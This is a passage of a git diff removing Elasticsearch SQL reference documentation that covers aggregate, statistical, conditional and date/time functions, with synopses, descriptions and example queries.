-the `ordering_field_name` column. If `ordering_field_name` is not provided, only the `field_name`
-column is used for the sorting. E.g.:
-
-[cols="<,<"]
-|===
-s| a    | b
-
- | 100  | 1
- | 200  | 1
- | 1    | 2
- | 2    | 2
- | 10   | null
- | 20   | null
- | null | null
-|===
-
-[source, sql]
-----------------------
-SELECT FIRST(a) FROM t
-----------------------
-
-will result in:
-[cols="<"]
-|===
-s| FIRST(a)
- | 1
-|===
-
-and
-
-[source, sql]
--------------------------
-SELECT FIRST(a, b) FROM t
--------------------------
-
-will result in:
-[cols="<"]
-|===
-s| FIRST(a, b)
- | 100
-|===
-
-
-["source","sql",subs="attributes,macros"]
------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[firstWithOneArg]
------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[firstWithOneArgAndGroupBy]
---------------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[firstWithTwoArgs]
------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
----------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[firstWithTwoArgsAndGroupBy]
----------------------------------------------------------------------
-
-`FIRST_VALUE` is a name alias and can be used instead of `FIRST`, e.g.:
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[firstValueWithTwoArgsAndGroupBy]
---------------------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[firstValueWithTwoArgsAndGroupByScalars]
---------------------------------------------------------------------------
-
-[NOTE]
-`FIRST` cannot be used in a HAVING clause.
-[NOTE]
-`FIRST` cannot be used with columns of type <<text, `text`>> unless
-the field is also <<before-enabling-fielddata,saved as a keyword>>.
-
-[[sql-functions-aggs-last]]
-==== `LAST/LAST_VALUE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-LAST(
-    field_name               <1>
-    [, ordering_field_name]) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> target field for the aggregation
-<2> optional field used for ordering
-
-*Output*: same type as the input
-
-*Description*: It's the inverse of <<sql-functions-aggs-first>>. Returns the last **non-NULL** value (if such exists) of the
-`field_name` input column sorted descending by the `ordering_field_name` column. If `ordering_field_name` is not
-provided, only the `field_name` column is used for the sorting. E.g.:
-
-[cols="<,<"]
-|===
-s| a    | b
-
- | 10   | 1
- | 20   | 1
- | 1    | 2
- | 2    | 2
- | 100  | null
- | 200  | null
- | null | null
-|===
-
-[source, sql]
-------------------------
-SELECT LAST(a) FROM t
-------------------------
-
-will result in:
-[cols="<"]
-|===
-s| LAST(a)
- | 200
-|===
-
-and
-
-[source, sql]
-------------------------
-SELECT LAST(a, b) FROM t
-------------------------
-
-will result in:
-[cols="<"]
-|===
-s| LAST(a, b)
- | 2
-|===
-
-
-["source","sql",subs="attributes,macros"]
------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[lastWithOneArg]
------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
--------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[lastWithOneArgAndGroupBy]
--------------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[lastWithTwoArgs]
------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[lastWithTwoArgsAndGroupBy]
---------------------------------------------------------------------
-
-`LAST_VALUE` is a name alias and can be used instead of `LAST`, e.g.:
-
-["source","sql",subs="attributes,macros"]
--------------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[lastValueWithTwoArgsAndGroupBy]
--------------------------------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
--------------------------------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[lastValueWithTwoArgsAndGroupByScalars]
--------------------------------------------------------------------------
-
-[NOTE]
-`LAST` cannot be used in `HAVING` clause.
-[NOTE]
-`LAST` cannot be used with columns of type <<text, `text`>> unless
-the field is also <<before-enabling-fielddata,`saved as a keyword`>>.
-
-[[sql-functions-aggs-max]]
-==== `MAX`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MAX(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: same type as the input
-
-*Description*: Returns the maximum value across input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggMax]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggMaxScalars]
---------------------------------------------------
-
-[NOTE]
-`MAX` on a field of type <<text, `text`>> or <<keyword, `keyword`>> is translated into
-<<sql-functions-aggs-last>> and therefore, it cannot be used in `HAVING` clause.
-
-[[sql-functions-aggs-min]]
-==== `MIN`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MIN(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: same type as the input
-
-*Description*: Returns the minimum value across input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggMin]
---------------------------------------------------
-
-[NOTE]
-`MIN` on a field of type <<text, `text`>> or <<keyword, `keyword`>> is translated into
-<<sql-functions-aggs-first>> and therefore, it cannot be used in `HAVING` clause.
-
-[[sql-functions-aggs-sum]]
-==== `SUM`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SUM(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `bigint` for integer input, `double` for floating points
-
-*Description*: Returns the sum of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggSum]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggSumScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-statistics]]
-[discrete]
-=== Statistics
-
-[[sql-functions-aggs-kurtosis]]
-==== `KURTOSIS`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-KURTOSIS(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-{wikipedia}/Kurtosis[Quantify] the shape of the distribution of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggKurtosis]
---------------------------------------------------
-
-[NOTE]
-====
-`KURTOSIS` cannot be used on top of scalar functions or operators but only directly on a field. So, for example,
-the following is not allowed and an error is returned:
-[source, sql]
----------------------------------------
- SELECT KURTOSIS(salary / 12.0), gender FROM emp GROUP BY gender
----------------------------------------
-====
-
-[[sql-functions-aggs-mad]]
-==== `MAD`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-MAD(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-{wikipedia}/Median_absolute_deviation[Measure] the variability of the input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggMad]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggMadScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-percentile]]
-==== `PERCENTILE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-PERCENTILE(
-    field_name,  <1>
-    numeric_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-<2> a numeric expression (must be a constant and not based on a field)
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the nth {wikipedia}/Percentile[percentile] (represented by `numeric_exp` parameter)
-of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggPercentile]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggPercentileScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-percentile-rank]]
-==== `PERCENTILE_RANK`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-PERCENTILE_RANK(
-    field_name,  <1>
-    numeric_exp) <2>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-<2> a numeric expression (must be a constant and not based on a field)
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the nth {wikipedia}/Percentile_rank[percentile rank] (represented by `numeric_exp` parameter)
-of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggPercentileRank]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggPercentileRankScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-skewness]]
-==== `SKEWNESS`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SKEWNESS(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-{wikipedia}/Skewness[Quantify] the asymmetric distribution of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggSkewness]
---------------------------------------------------
-
-[NOTE]
-====
-`SKEWNESS` cannot be used on top of scalar functions but only directly on a field. So, for example, the following is
-not allowed and an error is returned:
-[source, sql]
----------------------------------------
- SELECT SKEWNESS(ROUND(salary / 12.0, 2), gender FROM emp GROUP BY gender
----------------------------------------
-====
-
-[[sql-functions-aggs-stddev-pop]]
-==== `STDDEV_POP`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-STDDEV_POP(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the {wikipedia}/Standard_deviations[population standard deviation] of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggStddevPop]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggStddevPopScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-stddev-samp]]
-==== `STDDEV_SAMP`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-STDDEV_SAMP(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the {wikipedia}/Standard_deviations[sample standard deviation] of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggStddevSamp]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggStddevSampScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-sum-squares]]
-==== `SUM_OF_SQUARES`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-SUM_OF_SQUARES(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the sum of squares of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggSumOfSquares]
---------------------------------------------------
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggSumOfSquaresScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-var-pop]]
-==== `VAR_POP`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-VAR_POP(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the {wikipedia}/Variance[population variance] of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggVarPop]
---------------------------------------------------
-
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggVarPopScalars]
---------------------------------------------------
-
-[[sql-functions-aggs-var-samp]]
-==== `VAR_SAMP`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-VAR_SAMP(field_name) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> a numeric field
-
-*Output*: `double` numeric value
-
-*Description*:
-
-Returns the {wikipedia}/Variance[sample variance] of input values in the field `field_name`.
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggVarSamp]
---------------------------------------------------
-
-
-["source","sql",subs="attributes,macros"]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[aggVarSampScalars]
---------------------------------------------------
diff --git a/docs/reference/sql/functions/conditional.asciidoc b/docs/reference/sql/functions/conditional.asciidoc
deleted file mode 100644
index 7ad4a659c3c..00000000000
--- a/docs/reference/sql/functions/conditional.asciidoc
+++ /dev/null
@@ -1,440 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-conditional]]
-=== Conditional Functions And Expressions
-
-Functions that return one of their arguments by evaluating in an if-else manner.
-
-[[sql-functions-conditional-case]]
-==== `CASE`
-
-.Synopsis:
-[source, sql]
-----
-CASE WHEN condition THEN result
-    [WHEN ...]
-    [ELSE default_result]
-END
-----
-
-*Input*:
-
-One or multiple _WHEN *condition* THEN *result_* clauses are used and the expression can optionally have
-an _ELSE *default_result_* clause. Every *condition* should be a boolean expression.
-
-*Output*: one of the *result* expressions if the corresponding _WHEN *condition_* evaluates to `true` or
-the *default_result* if all _WHEN *condition_* clauses evaluate to `false`. If the optional _ELSE *default_result_*
-clause is missing and all _WHEN *condition_* clauses evaluate to `false` then `null` is returned.
-
-*Description*: The CASE expression is a generic conditional expression which simulates if/else statements of other programming languages
-If the condition’s result is true, the value of the result expression that follows the condition will be the returned
-the subsequent when clauses will be skipped and not processed.
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[case]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[caseReturnNull]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[caseWithElse]
-----
-
-
-As a variant, a case expression can be expressed with a syntax similar to *switch-case* of other programming languages:
-[source, sql]
-----
-CASE expression
-     WHEN value1 THEN result1
-    [WHEN value2 THEN result2]
-    [WHEN ...]
-    [ELSE default_result]
-END
-----
-
-In this case it's transformed internally to:
-[source, sql]
-----
-CASE WHEN expression = value1 THEN result1
-    [WHEN expression = value2 THEN result2]
-    [WHEN ...]
-    [ELSE default_result]
-END
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[caseWithOperand]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[caseWithOperandAndElse]
-----
-
-[NOTE]
-===============================
-All result expressions must be of compatible data types. More specifically all result
-expressions should have a compatible data type with the 1st _non-null_ result expression.
-E.g.:
-
-for the following query:
-
-[source, sql]
-CASE WHEN a = 1 THEN null
-     WHEN a > 2 THEN 10
-     WHEN a > 5 THEN 'foo'
-END
-
-an error message would be returned, mentioning that *'foo'* is of data type *keyword*,
-which does not match the expected data type *integer* (based on result *10*).
-===============================
-
-[[sql-functions-conditional-case-groupby-custom-buckets]]
-===== Conditional bucketing
-
-CASE can be used as a GROUP BY key in a query to facilitate custom bucketing
-and assign descriptive names to those buckets. If, for example, the values
-for a key are too many or, simply, ranges of those values are more
-interesting than every single value, CASE can create custom buckets as in the
-following example:
-
-[source, sql]
-SELECT count(*) AS count,
-  CASE WHEN NVL(languages, 0) = 0 THEN 'zero'
-    WHEN languages = 1 THEN 'one'
-    WHEN languages = 2 THEN 'bilingual'
-    WHEN languages = 3 THEN 'trilingual'
-    ELSE 'multilingual'
-  END as lang_skills
-FROM employees
-GROUP BY lang_skills
-ORDER BY lang_skills;
-
-With this query, one can create normal grouping buckets for values _0, 1, 2, 3_ with
-descriptive names, and every value _>= 4_ falls into the _multilingual_ bucket.
-
-[[sql-functions-conditional-coalesce]]
-==== `COALESCE`
-
-.Synopsis:
-[source, sql]
-----
-COALESCE(
-    expression, <1>
-    expression, <2>
-    ...)
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-...
-
-**N**th expression
-
-COALESCE can take an arbitrary number of arguments.
-
-*Output*: one of the expressions or `null`
-
-*Description*: Returns the first of its arguments that is not null.
-If all arguments are null, then it returns `null`.
-
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[coalesceReturnNonNull]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[coalesceReturnNull]
-----
-
-[[sql-functions-conditional-greatest]]
-==== `GREATEST`
-
-.Synopsis:
-[source, sql]
-----
-GREATEST(
-    expression, <1>
-    expression, <2>
-    ...)
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-...
-
-**N**th expression
-
-GREATEST can take an arbitrary number of arguments and
-all of them must be of the same data type.
-
-*Output*: one of the expressions or `null`
-
-*Description*: Returns the argument that has the largest value which is not null.
-If all arguments are null, then it returns `null`.
-
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[greatestReturnNonNull]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[greatestReturnNull]
-----
-
-[[sql-functions-conditional-ifnull]]
-==== `IFNULL`
-
-.Synopsis:
-[source, sql]
-----
-IFNULL(
-    expression, <1>
-    expression) <2>
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-
-*Output*: 2nd expression if 1st expression is null, otherwise 1st expression.
-
-*Description*: Variant of <<sql-functions-conditional-coalesce>> with only two arguments.
-Returns the first of its arguments that is not null.
-If all arguments are null, then it returns `null`.
-
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[ifNullReturnFirst]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[ifNullReturnSecond]
-----
-
-[[sql-functions-conditional-iif]]
-==== `IIF`
-
-.Synopsis:
-[source, sql]
-----
-IIF(expression,   <1>
-    expression,   <2>
-    [expression]) <3>
-----
-
-*Input*:
-
-<1> boolean condition to check
-
-<2> return value if the boolean condition evaluates to `true`
-
-<3> return value if the boolean condition evaluates `false`; optional
-
-*Output*: 2nd expression if 1st expression (condition) evaluates to `true`. If it evaluates to `false`
-return 3rd expression. If 3rd expression is not provided return `null`.
-
-*Description*: Conditional function that implements the standard _IF <condition> THEN <result1> ELSE <result2>_
-logic of programming languages. If the 3rd expression is not provided and the condition evaluates to `false`,
-`null` is returned.
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[iifWithDefaultValue]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[iifWithoutDefaultValue]
-----
-
-[TIP]
-=================
-*IIF* functions can be combined to implement more complex logic simulating the <<sql-functions-conditional-case>>
-expression. E.g.:
-
-[source, sql]
-IIF(a = 1, 'one', IIF(a = 2, 'two', IIF(a = 3, 'three', 'many')))
-=================
-
-
-[[sql-functions-conditional-isnull]]
-==== `ISNULL`
-
-.Synopsis:
-[source, sql]
-----
-ISNULL(
-    expression, <1>
-    expression) <2>
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-
-*Output*: 2nd expression if 1st expression is null, otherwise 1st expression.
-
-*Description*: Variant of <<sql-functions-conditional-coalesce>> with only two arguments.
-Returns the first of its arguments that is not null.
-If all arguments are null, then it returns `null`.
-
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[isNullReturnFirst]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[isNullReturnSecond]
-----
-
-
-[[sql-functions-conditional-least]]
-==== `LEAST`
-
-.Synopsis:
-[source, sql]
-----
-LEAST(
-    expression, <1>
-    expression, <2>
-    ...)
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-...
-
-**N**th expression
-
-LEAST can take an arbitrary number of arguments and
-all of them must be of the same data type.
-
-*Output*: one of the expressions or `null`
-
-*Description*: Returns the argument that has the smallest value which is not null.
-If all arguments are null, then it returns `null`.
-
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[leastReturnNonNull]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[leastReturnNull]
-----
-
-
-[[sql-functions-conditional-nullif]]
-==== `NULLIF`
-
-.Synopsis:
-[source, sql]
-----
-NULLIF(
-    expression, <1>
-    expression) <2>
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-
-*Output*: `null` if the 2 expressions are equal, otherwise the 1st expression.
-
-*Description*: Returns `null` when the two input expressions are equal and
-if not, it returns the 1st expression.
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[nullIfReturnFirst]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[nullIfReturnNull]
-----
-
-
-[[sql-functions-conditional-nvl]]
-==== `NVL`
-
-.Synopsis:
-[source, sql]
-----
-NVL(
-    expression, <1>
-    expression) <2>
-----
-
-*Input*:
-
-<1> 1st expression
-
-<2> 2nd expression
-
-
-*Output*: 2nd expression if 1st expression is null, otherwise 1st expression.
-
-*Description*: Variant of <<sql-functions-conditional-coalesce>> with only two arguments.
-Returns the first of its arguments that is not null.
-If all arguments are null, then it returns `null`.
-
-
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[nvlReturnFirst]
-----
-
-[source, sql]
-----
-include-tagged::{sql-specs}/docs/docs.csv-spec[nvlReturnSecond]
-----
-
-
diff --git a/docs/reference/sql/functions/date-time.asciidoc b/docs/reference/sql/functions/date-time.asciidoc
deleted file mode 100644
index 3b254d0c548..00000000000
--- a/docs/reference/sql/functions/date-time.asciidoc
+++ /dev/null
@@ -1,1244 +0,0 @@
-[role="xpack"]
-[testenv="basic"]
-[[sql-functions-datetime]]
-=== Date/Time and Interval Functions and Operators
-
-{es-sql} offers a wide range of facilities for performing date/time manipulations.
-
-[[sql-functions-datetime-interval]]
-==== Intervals
-
-A common requirement when dealing with date/time in general revolves around
-the notion of `interval`, a topic that is worth exploring in the context of {es} and {es-sql}.
-
-{es} has comprehensive support for <<date-math, date math>> both inside <<date-math-index-names, index names>> and <<mapping-date-format, queries>>.
-Inside {es-sql} the former is supported as is by passing the expression in the table name, while the latter is supported through the standard SQL `INTERVAL`.
-
-The table below shows the mapping between {es} and {es-sql}:
-
-[cols="^m,^m"]
-|==========================
-s|{es}
-s|{es-sql}
-2+h| Index/Table datetime math
-2+|<index-{now/M{YYYY.MM}}>
-2+h| Query date/time math
-| 1y  | INTERVAL 1 YEAR
-| 2M  | INTERVAL 2 MONTH
-| 3w  | INTERVAL 21 DAY
-| 4d  | INTERVAL 4 DAY
-| 5h  | INTERVAL 5 HOUR
-| 6m  | INTERVAL 6 MINUTE
-| 7s  | INTERVAL 7 SECOND
-|==========================
-
-`INTERVAL` allows either `YEAR` and `MONTH` to be mixed together _or_ `DAY`, `HOUR`, `MINUTE` and `SECOND`.
-
-TIP: {es-sql} accepts also the plural for each time unit (e.g. both `YEAR` and `YEARS` are valid).
-
-Example of the possible combinations below:
-
-[cols="^,^"]
-
-|===
-s|Interval
-s|Description
-| `INTERVAL '1-2' YEAR TO MONTH`                | 1 year and 2 months
-| `INTERVAL '3 4' DAYS TO HOURS`                | 3 days and 4 hours
-| `INTERVAL '5 6:12' DAYS TO MINUTES`           | 5 days, 6 hours and 12 minutes
-| `INTERVAL '3 4:56:01' DAY TO SECOND`          | 3 days, 4 hours, 56 minutes and 1 second
-| `INTERVAL '2 3:45:01.23456789' DAY TO SECOND` | 2 days, 3 hours, 45 minutes, 1 second and 234567890 nanoseconds
-| `INTERVAL '123:45' HOUR TO MINUTES`           | 123 hours and 45 minutes
-| `INTERVAL '65:43:21.0123' HOUR TO SECONDS`    | 65 hours, 43 minutes, 21 seconds and 12300000 nanoseconds
-| `INTERVAL '45:01.23' MINUTES TO SECONDS`      | 45 minutes, 1 second and 230000000 nanoseconds
-|===
-
-==== Operators
-
-Basic arithmetic operators (`+`, `-`, `*`) support date/time parameters as indicated below:
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dtIntervalPlusInterval]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dtDateTimePlusInterval]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dtMinusInterval]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dtIntervalMinusInterval]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dtDateTimeMinusInterval]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[dtIntervalMul]
---------------------------------------------------
-
-==== Functions
-
-Functions that target date/time.
-
-[[sql-functions-current-date]]
-==== `CURRENT_DATE/CURDATE`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CURRENT_DATE
-CURRENT_DATE()
-CURDATE()
---------------------------------------------------
-
-*Input*: _none_
-
-*Output*: date
-
-*Description*: Returns the date (no time part) when the current query reached the server.
-It can be used both as a keyword: `CURRENT_DATE` or as a function with no arguments: `CURRENT_DATE()`.
-
-[NOTE]
-Unlike CURRENT_DATE, `CURDATE()` can only be used as a function with no arguments and not as a keyword.
-
-This method always returns the same value for its every occurrence within the same query.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[currentDate]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[currentDateFunction]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[curDateFunction]
---------------------------------------------------
-
-Typically, this function (as well as its twin <<sql-functions-today,TODAY())>> function
-is used for relative date filtering:
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[filterToday]
---------------------------------------------------
-
-[[sql-functions-current-time]]
-==== `CURRENT_TIME/CURTIME`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CURRENT_TIME
-CURRENT_TIME([precision]) <1>
-CURTIME
---------------------------------------------------
-
-*Input*:
-
-<1> fractional digits; optional
-
-*Output*: time
-
-*Description*: Returns the time when the current query reached the server.
-As a function, `CURRENT_TIME()` accepts _precision_ as an optional
-parameter for rounding the second fractional digits (nanoseconds). The default _precision_ is 3,
-meaning a milliseconds precision current time will be returned.
-
-This method always returns the same value for its every occurrence within the same query.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[currentTime]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[currentTimeFunction]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[curTimeFunction]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[currentTimeFunctionPrecision]
---------------------------------------------------
-
-Typically, this function is used for relative date/time filtering:
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[filterCurrentTime]
---------------------------------------------------
-
-[IMPORTANT]
-Currently, using a _precision_ greater than 3 doesn't make any difference to the output of the
-function as the maximum number of second fractional digits returned is 3 (milliseconds).
-
-[[sql-functions-current-timestamp]]
-==== `CURRENT_TIMESTAMP`
-
-.Synopsis:
-[source, sql]
---------------------------------------------------
-CURRENT_TIMESTAMP
-CURRENT_TIMESTAMP([precision]) <1>
---------------------------------------------------
-
-*Input*:
-
-<1> fractional digits; optional
-
-*Output*: date/time
-
-*Description*: Returns the date/time when the current query reached the server.
-As a function, `CURRENT_TIMESTAMP()` accepts _precision_ as an optional
-parameter for rounding the second fractional digits (nanoseconds). The default _precision_ is 3,
-meaning a milliseconds precision current date/time will be returned.
-
-This method always returns the same value for its every occurrence within the same query.
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[curTs]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[curTsFunction]
---------------------------------------------------
-
-[source, sql]
---------------------------------------------------
-include-tagged::{sql-specs}/docs/docs.csv-spec[curTsFunctionPrecision]
---------------------------------------------------
-
-Typically, this function (as well as its twin <<sql-functions-now,NOW())>> function is used for
-relative date/time filtering:
-
